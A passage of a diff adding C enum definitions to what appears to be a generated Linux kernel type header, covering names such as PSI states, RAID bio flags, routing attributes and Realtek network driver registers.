PROCMAP_QUERY_VMA_READABLE = 1, + PROCMAP_QUERY_VMA_WRITABLE = 2, + PROCMAP_QUERY_VMA_EXECUTABLE = 4, + PROCMAP_QUERY_VMA_SHARED = 8, + PROCMAP_QUERY_COVERING_OR_NEXT_VMA = 16, + PROCMAP_QUERY_FILE_BACKED_VMA = 32, +}; + +enum prs_errcode { + PERR_NONE = 0, + PERR_INVCPUS = 1, + PERR_INVPARENT = 2, + PERR_NOTPART = 3, + PERR_NOTEXCL = 4, + PERR_NOCPUS = 5, + PERR_HOTPLUG = 6, + PERR_CPUSEMPTY = 7, + PERR_HKEEPING = 8, + PERR_ACCESS = 9, +}; + +enum ps2_disposition { + PS2_PROCESS = 0, + PS2_IGNORE = 1, + PS2_ERROR = 2, +}; + +enum psi_aggregators { + PSI_AVGS = 0, + PSI_POLL = 1, + NR_PSI_AGGREGATORS = 2, +}; + +enum psi_res { + PSI_IO = 0, + PSI_MEM = 1, + PSI_CPU = 2, + NR_PSI_RESOURCES = 3, +}; + +enum psi_states { + PSI_IO_SOME = 0, + PSI_IO_FULL = 1, + PSI_MEM_SOME = 2, + PSI_MEM_FULL = 3, + PSI_CPU_SOME = 4, + PSI_CPU_FULL = 5, + PSI_NONIDLE = 6, + NR_PSI_STATES = 7, +}; + +enum psi_task_count { + NR_IOWAIT = 0, + NR_MEMSTALL = 1, + NR_RUNNING = 2, + NR_MEMSTALL_RUNNING = 3, + NR_PSI_TASK_COUNTS = 4, +}; + +enum pt_capabilities { + PT_CAP_max_subleaf = 0, + PT_CAP_cr3_filtering = 1, + PT_CAP_psb_cyc = 2, + PT_CAP_ip_filtering = 3, + PT_CAP_mtc = 4, + PT_CAP_ptwrite = 5, + PT_CAP_power_event_trace = 6, + PT_CAP_event_trace = 7, + PT_CAP_tnt_disable = 8, + PT_CAP_topa_output = 9, + PT_CAP_topa_multiple_entries = 10, + PT_CAP_single_range_output = 11, + PT_CAP_output_subsys = 12, + PT_CAP_payloads_lip = 13, + PT_CAP_num_address_ranges = 14, + PT_CAP_mtc_periods = 15, + PT_CAP_cycle_thresholds = 16, + PT_CAP_psb_periods = 17, +}; + +enum pti_clone_level { + PTI_CLONE_PMD = 0, + PTI_CLONE_PTE = 1, +}; + +enum pti_mode { + PTI_AUTO = 0, + PTI_FORCE_OFF = 1, + PTI_FORCE_ON = 2, +}; + +enum ptp_clock_events { + PTP_CLOCK_ALARM = 0, + PTP_CLOCK_EXTTS = 1, + PTP_CLOCK_EXTOFF = 2, + PTP_CLOCK_PPS = 3, + PTP_CLOCK_PPSUSR = 4, +}; + +enum ptp_pin_function { + PTP_PF_NONE = 0, + PTP_PF_EXTTS = 1, + PTP_PF_PEROUT = 2, + PTP_PF_PHYSYNC = 3, +}; + +enum qdisc_state2_t { + __QDISC_STATE2_RUNNING = 0, +}; + +enum qdisc_state_t { + __QDISC_STATE_SCHED = 0, + __QDISC_STATE_DEACTIVATED = 1, + __QDISC_STATE_MISSED = 2, + __QDISC_STATE_DRAINING = 3, +}; + +enum queue_entry_flags { + ENTRY_BCN_ASSIGNED = 0, + ENTRY_BCN_ENABLED = 1, + ENTRY_OWNER_DEVICE_DATA = 2, + ENTRY_DATA_PENDING = 3, + ENTRY_DATA_IO_FAILED = 4, + ENTRY_DATA_STATUS_PENDING = 5, +}; + +enum queue_index { + Q_INDEX = 0, + Q_INDEX_DMA_DONE = 1, + Q_INDEX_DONE = 2, + Q_INDEX_MAX = 3, +}; + +enum queue_mode { + QUEUE_MODE_STRICT_PRIORITY = 0, + QUEUE_MODE_STREAM_RESERVATION = 1, +}; + +enum queue_stop_reason { + IEEE80211_QUEUE_STOP_REASON_DRIVER = 0, + IEEE80211_QUEUE_STOP_REASON_PS = 1, + IEEE80211_QUEUE_STOP_REASON_CSA = 2, + IEEE80211_QUEUE_STOP_REASON_AGGREGATION = 3, + IEEE80211_QUEUE_STOP_REASON_SUSPEND = 4, + IEEE80211_QUEUE_STOP_REASON_SKB_ADD = 5, + IEEE80211_QUEUE_STOP_REASON_OFFCHANNEL = 6, + IEEE80211_QUEUE_STOP_REASON_FLUSH = 7, + IEEE80211_QUEUE_STOP_REASON_TDLS_TEARDOWN = 8, + IEEE80211_QUEUE_STOP_REASON_RESERVE_TID = 9, + IEEE80211_QUEUE_STOP_REASON_IFTYPE_CHANGE = 10, + IEEE80211_QUEUE_STOP_REASONS = 11, +}; + +enum quota_type { + USRQUOTA = 0, + GRPQUOTA = 1, + PRJQUOTA = 2, +}; + +enum r0layout { + RAID0_ORIG_LAYOUT = 1, + RAID0_ALT_MULTIZONE_LAYOUT = 2, +}; + +enum r10bio_state { + R10BIO_Uptodate = 0, + R10BIO_IsSync = 1, + R10BIO_IsRecover = 2, + R10BIO_IsReshape = 3, + R10BIO_Degraded = 4, + R10BIO_ReadError = 5, + R10BIO_MadeGood = 6, + R10BIO_WriteError = 7, + R10BIO_Previous = 8, + R10BIO_FailFast = 9, + R10BIO_Discard = 10, +}; + +enum r1bio_state { + R1BIO_Uptodate = 0, + R1BIO_IsSync = 1, + R1BIO_Degraded = 2, + R1BIO_BehindIO = 3, + R1BIO_ReadError = 4, + R1BIO_Returned = 5, + R1BIO_MadeGood = 6, + R1BIO_WriteError = 7, + R1BIO_FailFast = 8, +}; + +enum r5_cache_state { + R5_INACTIVE_BLOCKED = 0, + R5_ALLOC_MORE = 1, + R5_DID_ALLOC = 2, + R5C_LOG_TIGHT = 3, + R5C_LOG_CRITICAL = 4, + R5C_EXTRA_PAGE_IN_USE = 5, +}; + +enum r5c_journal_mode { + R5C_JOURNAL_MODE_WRITE_THROUGH = 0, + R5C_JOURNAL_MODE_WRITE_BACK = 1, +}; + +enum r5dev_flags { + R5_UPTODATE = 0, + R5_LOCKED = 1, + R5_DOUBLE_LOCKED = 2, + R5_OVERWRITE = 3, + R5_Insync = 4, + R5_Wantread = 5, + R5_Wantwrite = 6, + R5_Overlap = 7, + R5_ReadNoMerge = 8, + R5_ReadError = 9, + R5_ReWrite = 10, + R5_Expanded = 11, + R5_Wantcompute = 12, + R5_Wantfill = 13, + R5_Wantdrain = 14, + R5_WantFUA = 15, + R5_SyncIO = 16, + R5_WriteError = 17, + R5_MadeGood = 18, + R5_ReadRepl = 19, + R5_MadeGoodRepl = 20, + R5_NeedReplace = 21, + R5_WantReplace = 22, + R5_Discard = 23, + R5_SkipCopy = 24, + R5_InJournal = 25, + R5_OrigPageUPTDODATE = 26, +}; + +enum r5l_io_unit_state { + IO_UNIT_RUNNING = 0, + IO_UNIT_IO_START = 1, + IO_UNIT_IO_END = 2, + IO_UNIT_STRIPE_END = 3, +}; + +enum r5l_payload_type { + R5LOG_PAYLOAD_DATA = 0, + R5LOG_PAYLOAD_PARITY = 1, + R5LOG_PAYLOAD_FLUSH = 2, +}; + +enum ramfs_param { + Opt_mode___6 = 0, +}; + +enum rapl_unit_quirk { + RAPL_UNIT_QUIRK_NONE = 0, + RAPL_UNIT_QUIRK_INTEL_HSW = 1, + RAPL_UNIT_QUIRK_INTEL_SPR = 2, +}; + +enum rate_control_capabilities { + RATE_CTRL_CAPA_VHT_EXT_NSS_BW = 1, + RATE_CTRL_CAPA_AMPDU_TRIGGER = 2, +}; + +enum rate_info_bw { + RATE_INFO_BW_20 = 0, + RATE_INFO_BW_5 = 1, + RATE_INFO_BW_10 = 2, + RATE_INFO_BW_40 = 3, + RATE_INFO_BW_80 = 4, + RATE_INFO_BW_160 = 5, + RATE_INFO_BW_HE_RU = 6, + RATE_INFO_BW_320 = 7, + RATE_INFO_BW_EHT_RU = 8, + RATE_INFO_BW_1 = 9, + RATE_INFO_BW_2 = 10, + RATE_INFO_BW_4 = 11, + RATE_INFO_BW_8 = 12, + RATE_INFO_BW_16 = 13, +}; + +enum rate_info_flags { + RATE_INFO_FLAGS_MCS = 1, + RATE_INFO_FLAGS_VHT_MCS = 2, + RATE_INFO_FLAGS_SHORT_GI = 4, + RATE_INFO_FLAGS_DMG = 8, + RATE_INFO_FLAGS_HE_MCS = 16, + RATE_INFO_FLAGS_EDMG = 32, + RATE_INFO_FLAGS_EXTENDED_SC_DMG = 64, + RATE_INFO_FLAGS_EHT_MCS = 128, + RATE_INFO_FLAGS_S1G_MCS = 256, +}; + +enum rate_modulation { + RATE_MODE_CCK = 0, + RATE_MODE_OFDM = 1, + RATE_MODE_HT_MIX = 2, + RATE_MODE_HT_GREENFIELD = 3, +}; + +enum rc5_state { + STATE_INACTIVE___4 = 0, + STATE_BIT_START = 1, + STATE_BIT_END = 2, + STATE_CHECK_RC5X = 3, + STATE_FINISHED___2 = 4, +}; + +enum rc6_mode { + RC6_MODE_0 = 0, + RC6_MODE_6A = 1, + RC6_MODE_UNKNOWN = 2, +}; + +enum rc6_state { + STATE_INACTIVE___5 = 0, + STATE_PREFIX_SPACE = 1, + STATE_HEADER_BIT_START___2 = 2, + STATE_HEADER_BIT_END___2 = 3, + STATE_TOGGLE_START = 4, + STATE_TOGGLE_END = 5, + STATE_BODY_BIT_START___2 = 6, + STATE_BODY_BIT_END___2 = 7, + STATE_FINISHED___3 = 8, +}; + +enum rc_driver_type { + RC_DRIVER_SCANCODE = 0, + RC_DRIVER_IR_RAW = 1, + RC_DRIVER_IR_RAW_TX = 2, +}; + +enum rc_filter_type { + RC_FILTER_NORMAL = 0, + RC_FILTER_WAKEUP = 1, + RC_FILTER_MAX = 2, +}; + +enum rc_proto { + RC_PROTO_UNKNOWN = 0, + RC_PROTO_OTHER = 1, + RC_PROTO_RC5 = 2, + RC_PROTO_RC5X_20 = 3, + RC_PROTO_RC5_SZ = 4, + RC_PROTO_JVC = 5, + RC_PROTO_SONY12 = 6, + RC_PROTO_SONY15 = 7, + RC_PROTO_SONY20 = 8, + RC_PROTO_NEC = 9, + RC_PROTO_NECX = 10, + RC_PROTO_NEC32 = 11, + RC_PROTO_SANYO = 12, + RC_PROTO_MCIR2_KBD = 13, + RC_PROTO_MCIR2_MSE = 14, + RC_PROTO_RC6_0 = 15, + RC_PROTO_RC6_6A_20 = 16, + RC_PROTO_RC6_6A_24 = 17, + RC_PROTO_RC6_6A_32 = 18, + RC_PROTO_RC6_MCE = 19, + RC_PROTO_SHARP = 20, + RC_PROTO_XMP = 21, + RC_PROTO_CEC = 22, + RC_PROTO_IMON = 23, + RC_PROTO_RCMM12 = 24, + RC_PROTO_RCMM24 = 25, + RC_PROTO_RCMM32 = 26, + RC_PROTO_XBOX_DVD = 27, + RC_PROTO_MAX = 27, +}; + +enum rdmacg_file_type { + RDMACG_RESOURCE_TYPE_MAX = 0, + RDMACG_RESOURCE_TYPE_STAT = 1, +}; + +enum rdmacg_resource_type { + RDMACG_RESOURCE_HCA_HANDLE = 0, + RDMACG_RESOURCE_HCA_OBJECT = 1, + RDMACG_RESOURCE_MAX = 2, +}; + +enum reboot_mode { + REBOOT_UNDEFINED = -1, + REBOOT_COLD = 0, + REBOOT_WARM = 1, + REBOOT_HARD = 2, + REBOOT_SOFT = 3, + REBOOT_GPIO = 4, +}; + +enum reboot_type { + BOOT_TRIPLE = 116, + BOOT_KBD = 107, + BOOT_BIOS = 98, + BOOT_ACPI = 97, + BOOT_EFI = 101, + BOOT_CF9_FORCE = 112, + BOOT_CF9_SAFE = 113, +}; + +enum reconstruct_states { + reconstruct_state_idle = 0, + reconstruct_state_prexor_drain_run = 1, + reconstruct_state_drain_run = 2, + reconstruct_state_run = 3, + reconstruct_state_prexor_drain_result = 4, + reconstruct_state_drain_result = 5, + reconstruct_state_result = 6, +}; + +enum recovery_flags { + MD_RECOVERY_NEEDED = 0, + MD_RECOVERY_RUNNING = 1, + MD_RECOVERY_INTR = 2, + MD_RECOVERY_DONE = 3, + MD_RECOVERY_FROZEN = 4, + MD_RECOVERY_WAIT = 5, + MD_RECOVERY_ERROR = 6, + MD_RECOVERY_SYNC = 7, + MD_RECOVERY_REQUESTED = 8, + MD_RECOVERY_CHECK = 9, + MD_RECOVERY_RECOVER = 10, + MD_RECOVERY_RESHAPE = 11, + MD_RESYNCING_REMOTE = 12, +}; + +enum refcount_saturation_type { + REFCOUNT_ADD_NOT_ZERO_OVF = 0, + REFCOUNT_ADD_OVF = 1, + REFCOUNT_ADD_UAF = 2, + REFCOUNT_SUB_UAF = 3, + REFCOUNT_DEC_LEAK = 4, +}; + +enum reg_arg_type { + SRC_OP = 0, + DST_OP = 1, + DST_OP_NO_MARK = 2, +}; + +enum reg_request_treatment { + REG_REQ_OK = 0, + REG_REQ_IGNORE = 1, + REG_REQ_INTERSECT = 2, + REG_REQ_ALREADY_SET = 3, +}; + +enum reg_type { + REG_TYPE_RM = 0, + REG_TYPE_REG = 1, + REG_TYPE_INDEX = 2, + REG_TYPE_BASE = 3, +}; + +enum regex_type { + MATCH_FULL = 0, + MATCH_FRONT_ONLY = 1, + MATCH_MIDDLE_ONLY = 2, + MATCH_END_ONLY = 3, + MATCH_GLOB = 4, + MATCH_INDEX = 5, +}; + +enum release_type { + leaf_only = 0, + whole_subtree = 1, +}; + +enum reloc_stage { + MOVE_DATA_EXTENTS = 0, + UPDATE_DATA_PTRS = 1, +}; + +enum req_flag_bits { + __REQ_FAILFAST_DEV = 8, + __REQ_FAILFAST_TRANSPORT = 9, + __REQ_FAILFAST_DRIVER = 10, + __REQ_SYNC = 11, + __REQ_META = 12, + __REQ_PRIO = 13, + __REQ_NOMERGE = 14, + __REQ_IDLE = 15, + __REQ_INTEGRITY = 16, + __REQ_FUA = 17, + __REQ_PREFLUSH = 18, + __REQ_RAHEAD = 19, + __REQ_BACKGROUND = 20, + __REQ_NOWAIT = 21, + __REQ_POLLED = 22, + __REQ_ALLOC_CACHE = 23, + __REQ_SWAP = 24, + __REQ_DRV = 25, + __REQ_FS_PRIVATE = 26, + __REQ_ATOMIC = 27, + __REQ_NOUNMAP = 28, + __REQ_NR_BITS = 29, +}; + +enum req_op { + REQ_OP_READ = 0, + REQ_OP_WRITE = 1, + REQ_OP_FLUSH = 2, + REQ_OP_DISCARD = 3, + REQ_OP_SECURE_ERASE = 5, + REQ_OP_ZONE_APPEND = 7, + REQ_OP_WRITE_ZEROES = 9, + REQ_OP_ZONE_OPEN = 10, + REQ_OP_ZONE_CLOSE = 11, + REQ_OP_ZONE_FINISH = 12, + REQ_OP_ZONE_RESET = 13, + REQ_OP_ZONE_RESET_ALL = 15, + REQ_OP_DRV_IN = 34, + REQ_OP_DRV_OUT = 35, + REQ_OP_LAST = 36, +}; + +enum reshape_loc { + LOC_NO_RESHAPE = 0, + LOC_AHEAD_OF_RESHAPE = 1, + LOC_INSIDE_RESHAPE = 2, + LOC_BEHIND_RESHAPE = 3, +}; + +enum resolve_mode { + RESOLVE_TBD = 0, + RESOLVE_PTR = 1, + RESOLVE_STRUCT_OR_ARRAY = 2, +}; + +enum retbleed_mitigation { + RETBLEED_MITIGATION_NONE = 0, + RETBLEED_MITIGATION_UNRET = 1, + RETBLEED_MITIGATION_IBPB = 2, + RETBLEED_MITIGATION_IBRS = 3, + RETBLEED_MITIGATION_EIBRS = 4, + RETBLEED_MITIGATION_STUFF = 5, +}; + +enum retbleed_mitigation_cmd { + RETBLEED_CMD_OFF = 0, + RETBLEED_CMD_AUTO = 1, + RETBLEED_CMD_UNRET = 2, + RETBLEED_CMD_IBPB = 3, + RETBLEED_CMD_STUFF = 4, +}; + +enum rfds_mitigations { + RFDS_MITIGATION_OFF = 0, + RFDS_MITIGATION_VERW = 1, + RFDS_MITIGATION_UCODE_NEEDED = 2, +}; + +enum rfkill_hard_block_reasons { + RFKILL_HARD_BLOCK_SIGNAL = 1, + RFKILL_HARD_BLOCK_NOT_OWNER = 2, +}; + +enum rfkill_type { + RFKILL_TYPE_ALL = 0, + RFKILL_TYPE_WLAN = 1, + RFKILL_TYPE_BLUETOOTH = 2, + RFKILL_TYPE_UWB = 3, + RFKILL_TYPE_WIMAX = 4, + RFKILL_TYPE_WWAN = 5, + RFKILL_TYPE_GPS = 6, + RFKILL_TYPE_FM = 7, + RFKILL_TYPE_NFC = 8, + NUM_RFKILL_TYPES = 9, +}; + +enum ring_buffer_flags { + RB_FL_OVERWRITE = 1, +}; + +enum ring_buffer_type { + RINGBUF_TYPE_DATA_TYPE_LEN_MAX = 28, + RINGBUF_TYPE_PADDING = 29, + RINGBUF_TYPE_TIME_EXTEND = 30, + RINGBUF_TYPE_TIME_STAMP = 31, +}; + +enum rlimit_type { + UCOUNT_RLIMIT_NPROC = 0, + UCOUNT_RLIMIT_MSGQUEUE = 1, + UCOUNT_RLIMIT_SIGPENDING = 2, + UCOUNT_RLIMIT_MEMLOCK = 3, + UCOUNT_RLIMIT_COUNTS = 4, +}; + +enum rmap_level { + RMAP_LEVEL_PTE = 0, + RMAP_LEVEL_PMD = 1, +}; + +enum rmp_flags { + RMP_LOCKED = 1, + RMP_USE_SHARED_ZEROPAGE = 2, +}; + +enum rp_check { + RP_CHECK_CALL = 0, + RP_CHECK_CHAIN_CALL = 1, + RP_CHECK_RET = 2, +}; + +enum rpm_request { + RPM_REQ_NONE = 0, + RPM_REQ_IDLE = 1, + RPM_REQ_SUSPEND = 2, + RPM_REQ_AUTOSUSPEND = 3, + RPM_REQ_RESUME = 4, +}; + +enum rpm_status { + RPM_INVALID = -1, + RPM_ACTIVE = 0, + RPM_RESUMING = 1, + RPM_SUSPENDED = 2, + RPM_SUSPENDING = 3, +}; + +enum rq_end_io_ret { + RQ_END_IO_NONE = 0, + RQ_END_IO_FREE = 1, +}; + +enum rq_qos_id { + RQ_QOS_WBT = 0, + RQ_QOS_LATENCY = 1, + RQ_QOS_COST = 2, +}; + +enum rs_action { + RS_ACTION_STAY = 0, + RS_ACTION_DOWNSCALE = -1, + RS_ACTION_UPSCALE = 1, +}; + +enum rs_column { + RS_COLUMN_LEGACY_ANT_A = 0, + RS_COLUMN_LEGACY_ANT_B = 1, + RS_COLUMN_SISO_ANT_A = 2, + RS_COLUMN_SISO_ANT_B = 3, + RS_COLUMN_SISO_ANT_A_SGI = 4, + RS_COLUMN_SISO_ANT_B_SGI = 5, + RS_COLUMN_MIMO2 = 6, + RS_COLUMN_MIMO2_SGI = 7, + RS_COLUMN_LAST = 7, + RS_COLUMN_COUNT = 8, + RS_COLUMN_INVALID = 9, +}; + +enum rs_column_mode { + RS_INVALID = 0, + RS_LEGACY = 1, + RS_SISO = 2, + RS_MIMO2 = 3, +}; + +enum rseq_cpu_id_state { + RSEQ_CPU_ID_UNINITIALIZED = -1, + RSEQ_CPU_ID_REGISTRATION_FAILED = -2, +}; + +enum rseq_cs_flags { + RSEQ_CS_FLAG_NO_RESTART_ON_PREEMPT = 1, + RSEQ_CS_FLAG_NO_RESTART_ON_SIGNAL = 2, + RSEQ_CS_FLAG_NO_RESTART_ON_MIGRATE = 4, +}; + +enum rseq_event_mask_bits { + RSEQ_EVENT_PREEMPT_BIT = 0, + RSEQ_EVENT_SIGNAL_BIT = 1, + RSEQ_EVENT_MIGRATE_BIT = 2, +}; + +enum rseq_flags { + RSEQ_FLAG_UNREGISTER = 1, +}; + +enum rt2800_eeprom_word { + EEPROM_CHIP_ID = 0, + EEPROM_VERSION = 1, + EEPROM_MAC_ADDR_0 = 2, + EEPROM_MAC_ADDR_1 = 3, + EEPROM_MAC_ADDR_2 = 4, + EEPROM_NIC_CONF0 = 5, + EEPROM_NIC_CONF1 = 6, + EEPROM_FREQ = 7, + EEPROM_LED_AG_CONF = 8, + EEPROM_LED_ACT_CONF = 9, + EEPROM_LED_POLARITY = 10, + EEPROM_NIC_CONF2 = 11, + EEPROM_LNA = 12, + EEPROM_RSSI_BG = 13, + EEPROM_RSSI_BG2 = 14, + EEPROM_TXMIXER_GAIN_BG = 15, + EEPROM_RSSI_A = 16, + EEPROM_RSSI_A2 = 17, + EEPROM_TXMIXER_GAIN_A = 18, + EEPROM_EIRP_MAX_TX_POWER = 19, + EEPROM_TXPOWER_DELTA = 20, + EEPROM_TXPOWER_BG1 = 21, + EEPROM_TXPOWER_BG2 = 22, + EEPROM_TSSI_BOUND_BG1 = 23, + EEPROM_TSSI_BOUND_BG2 = 24, + EEPROM_TSSI_BOUND_BG3 = 25, + EEPROM_TSSI_BOUND_BG4 = 26, + EEPROM_TSSI_BOUND_BG5 = 27, + EEPROM_TXPOWER_A1 = 28, + EEPROM_TXPOWER_A2 = 29, + EEPROM_TXPOWER_INIT = 30, + EEPROM_TSSI_BOUND_A1 = 31, + EEPROM_TSSI_BOUND_A2 = 32, + EEPROM_TSSI_BOUND_A3 = 33, + EEPROM_TSSI_BOUND_A4 = 34, + EEPROM_TSSI_BOUND_A5 = 35, + EEPROM_TXPOWER_BYRATE = 36, + EEPROM_BBP_START = 37, + EEPROM_EXT_LNA2 = 38, + EEPROM_EXT_TXPOWER_BG3 = 39, + EEPROM_EXT_TXPOWER_A3 = 40, + EEPROM_WORD_COUNT = 41, +}; + +enum rt2x00_capability_flags { + REQUIRE_FIRMWARE = 0, + REQUIRE_BEACON_GUARD = 1, + REQUIRE_ATIM_QUEUE = 2, + REQUIRE_DMA = 3, + REQUIRE_COPY_IV = 4, + REQUIRE_L2PAD = 5, + REQUIRE_TXSTATUS_FIFO = 6, + REQUIRE_TASKLET_CONTEXT = 7, + REQUIRE_SW_SEQNO = 8, + REQUIRE_HT_TX_DESC = 9, + REQUIRE_PS_AUTOWAKE = 10, + REQUIRE_DELAYED_RFKILL = 11, + CAPABILITY_HW_BUTTON = 12, + CAPABILITY_HW_CRYPTO = 13, + CAPABILITY_POWER_LIMIT = 14, + CAPABILITY_CONTROL_FILTERS = 15, + CAPABILITY_CONTROL_FILTER_PSPOLL = 16, + CAPABILITY_PRE_TBTT_INTERRUPT = 17, + CAPABILITY_LINK_TUNING = 18, + CAPABILITY_FRAME_TYPE = 19, + CAPABILITY_RF_SEQUENCE = 20, + CAPABILITY_EXTERNAL_LNA_A = 21, + CAPABILITY_EXTERNAL_LNA_BG = 22, + CAPABILITY_DOUBLE_ANTENNA = 23, + CAPABILITY_BT_COEXIST = 24, + CAPABILITY_VCO_RECALIBRATION = 25, + CAPABILITY_EXTERNAL_PA_TX0 = 26, + CAPABILITY_EXTERNAL_PA_TX1 = 27, + CAPABILITY_RESTART_HW = 28, +}; + +enum rt2x00_chip_intf { + RT2X00_CHIP_INTF_PCI = 0, + RT2X00_CHIP_INTF_PCIE = 1, + RT2X00_CHIP_INTF_USB = 2, + RT2X00_CHIP_INTF_SOC = 3, +}; + +enum rt2x00_delayed_flags { + DELAYED_UPDATE_BEACON = 0, +}; + +enum rt2x00_dump_type { + DUMP_FRAME_RXDONE = 1, + DUMP_FRAME_TX = 2, + DUMP_FRAME_TXDONE = 3, + DUMP_FRAME_BEACON = 4, +}; + +enum rt2x00_state_flags { + DEVICE_STATE_PRESENT = 0, + DEVICE_STATE_REGISTERED_HW = 1, + DEVICE_STATE_INITIALIZED = 2, + DEVICE_STATE_STARTED = 3, + DEVICE_STATE_ENABLED_RADIO = 4, + DEVICE_STATE_SCANNING = 5, + DEVICE_STATE_FLUSHING = 6, + DEVICE_STATE_RESET = 7, + CONFIG_CHANNEL_HT40 = 8, + CONFIG_POWERSAVING = 9, + CONFIG_HT_DISABLED = 10, + CONFIG_MONITORING = 11, + TX_STATUS_READING = 12, +}; + +enum rt2x00usb_mode_offset { + USB_MODE_RESET = 1, + USB_MODE_UNPLUG = 2, + USB_MODE_FUNCTION = 3, + USB_MODE_TEST = 4, + USB_MODE_SLEEP = 7, + USB_MODE_FIRMWARE = 8, + USB_MODE_WAKEUP = 9, + USB_MODE_AUTORUN = 17, +}; + +enum rt2x00usb_vendor_request { + USB_DEVICE_MODE = 1, + USB_SINGLE_WRITE = 2, + USB_SINGLE_READ = 3, + USB_MULTI_WRITE = 6, + USB_MULTI_READ = 7, + USB_EEPROM_WRITE = 8, + USB_EEPROM_READ = 9, + USB_LED_CONTROL = 10, + USB_RX_CONTROL = 12, +}; + +enum rt6_nud_state { + RT6_NUD_FAIL_HARD = -3, + RT6_NUD_FAIL_PROBE = -2, + RT6_NUD_FAIL_DO_RR = -1, + RT6_NUD_SUCCEED = 1, +}; + +enum rt_class_t { + RT_TABLE_UNSPEC = 0, + RT_TABLE_COMPAT = 252, + RT_TABLE_DEFAULT = 253, + RT_TABLE_MAIN = 254, + RT_TABLE_LOCAL = 255, + RT_TABLE_MAX = 4294967295, +}; + +enum rt_scope_t { + RT_SCOPE_UNIVERSE = 0, + RT_SCOPE_SITE = 200, + RT_SCOPE_LINK = 253, + RT_SCOPE_HOST = 254, + RT_SCOPE_NOWHERE = 255, +}; + +enum rtattr_type_t { + RTA_UNSPEC = 0, + RTA_DST = 1, + RTA_SRC = 2, + RTA_IIF = 3, + RTA_OIF = 4, + RTA_GATEWAY = 5, + RTA_PRIORITY = 6, + RTA_PREFSRC = 7, + RTA_METRICS = 8, + RTA_MULTIPATH = 9, + RTA_PROTOINFO = 10, + RTA_FLOW = 11, + RTA_CACHEINFO = 12, + RTA_SESSION = 13, + RTA_MP_ALGO = 14, + RTA_TABLE = 15, + RTA_MARK = 16, + RTA_MFC_STATS = 17, + RTA_VIA = 18, + RTA_NEWDST = 19, + RTA_PREF = 20, + RTA_ENCAP_TYPE = 21, + RTA_ENCAP = 22, + RTA_EXPIRES = 23, + RTA_PAD = 24, + RTA_UID = 25, + RTA_TTL_PROPAGATE = 26, + RTA_IP_PROTO = 27, + RTA_SPORT = 28, + RTA_DPORT = 29, + RTA_NH_ID = 30, + __RTA_MAX = 31, +}; + +enum rtl8125_registers { + LEDSEL0 = 24, + INT_CFG0_8125 = 52, + IntrMask_8125 = 56, + IntrStatus_8125 = 60, + INT_CFG1_8125 = 122, + LEDSEL2 = 132, + LEDSEL1 = 134, + TxPoll_8125 = 144, + LEDSEL3 = 150, + MAC0_BKP = 6624, + EEE_TXIDLE_TIMER_8125 = 24648, +}; + +enum rtl8152_flags { + RTL8152_INACCESSIBLE = 0, + RTL8152_SET_RX_MODE = 1, + WORK_ENABLE = 2, + RTL8152_LINK_CHG = 3, + SELECTIVE_SUSPEND = 4, + PHY_RESET = 5, + SCHEDULE_TASKLET = 6, + GREEN_ETHERNET = 7, + RX_EPROTO = 8, + IN_PRE_RESET = 9, + PROBED_WITH_NO_ERRORS = 10, + PROBE_SHOULD_RETRY = 11, +}; + +enum rtl8152_fw_fixup_cmd { + FW_FIXUP_AND = 0, + FW_FIXUP_OR = 1, + FW_FIXUP_NOT = 2, + FW_FIXUP_XOR = 3, +}; + +enum rtl8152_fw_flags { + FW_FLAGS_USB = 0, + FW_FLAGS_PLA = 1, + FW_FLAGS_START = 2, + FW_FLAGS_STOP = 3, + FW_FLAGS_NC = 4, + FW_FLAGS_NC1 = 5, + FW_FLAGS_NC2 = 6, + FW_FLAGS_UC2 = 7, + FW_FLAGS_UC = 8, + FW_FLAGS_SPEED_UP = 9, + FW_FLAGS_VER = 10, +}; + +enum rtl8168_8101_registers { + CSIDR = 100, + CSIAR = 104, + PMCH = 111, + EPHYAR = 128, + DLLPR = 208, + DBG_REG = 209, + TWSI = 210, + MCU = 211, + EFUSEAR = 220, + MISC_1 = 242, +}; + +enum rtl8168_registers { + LED_CTRL = 24, + LED_FREQ = 26, + EEE_LED = 27, + ERIDR = 112, + ERIAR = 116, + EPHY_RXER_NUM = 124, + OCPDR = 176, + OCPAR = 180, + GPHY_OCP = 184, + RDSAR1 = 208, + MISC = 240, +}; + +enum rtl_dash_type { + RTL_DASH_NONE = 0, + RTL_DASH_DP = 1, + RTL_DASH_EP = 2, +}; + +enum rtl_desc_bit { + DescOwn = -2147483648, + RingEnd = 1073741824, + FirstFrag = 536870912, + LastFrag = 268435456, +}; + +enum rtl_flag { + RTL_FLAG_TASK_ENABLED = 0, + RTL_FLAG_TASK_RESET_PENDING = 1, + RTL_FLAG_TASK_RESET_NO_QUEUE_WAKE = 2, + RTL_FLAG_TASK_TX_TIMEOUT = 3, + RTL_FLAG_MAX = 4, +}; + +enum rtl_fw_opcode { + PHY_READ = 0, + PHY_DATA_OR = 1, + PHY_DATA_AND = 2, + PHY_BJMPN = 3, + PHY_MDIO_CHG = 4, + PHY_CLEAR_READCOUNT = 7, + PHY_WRITE = 8, + PHY_READCOUNT_EQ_SKIP = 9, + PHY_COMP_EQ_SKIPN = 10, + PHY_COMP_NEQ_SKIPN = 11, + PHY_WRITE_PREVIOUS = 12, + PHY_SKIPN = 13, + PHY_DELAY_MS = 14, +}; + +enum rtl_fw_type { + RTL_FW_END = 0, + RTL_FW_PLA = 1, + RTL_FW_USB = 2, + RTL_FW_PHY_START = 3, + RTL_FW_PHY_STOP = 4, + RTL_FW_PHY_NC = 5, + RTL_FW_PHY_FIXUP = 6, + RTL_FW_PHY_UNION_NC = 7, + RTL_FW_PHY_UNION_NC1 = 8, + RTL_FW_PHY_UNION_NC2 = 9, + RTL_FW_PHY_UNION_UC2 = 10, + RTL_FW_PHY_UNION_UC = 11, + RTL_FW_PHY_UNION_MISC = 12, + RTL_FW_PHY_SPEED_UP = 13, + RTL_FW_PHY_VER = 14, +}; + +enum rtl_register_content { + _2500bps = 1024, + _1250bps = 512, + _500bps = 256, + _tx_flow = 64, + _rx_flow = 32, + _1000bps = 16, + _100bps = 8, + _10bps = 4, + LINK_STATUS = 2, + FULL_DUP = 1, +}; + +enum rtl_register_content___2 { + SYSErr = 32768, + PCSTimeout = 16384, + SWInt = 256, + TxDescUnavail = 128, + RxFIFOOver = 64, + LinkChg = 32, + RxOverflow = 16, + TxErr = 8, + TxOK = 4, + RxErr = 2, + RxOK = 1, + RxRWT = 4194304, + RxRES = 2097152, + RxRUNT = 1048576, + RxCRC = 524288, + StopReq = 128, + CmdReset = 16, + CmdRxEnb = 8, + CmdTxEnb = 4, + RxBufEmpty = 1, + HPQ = 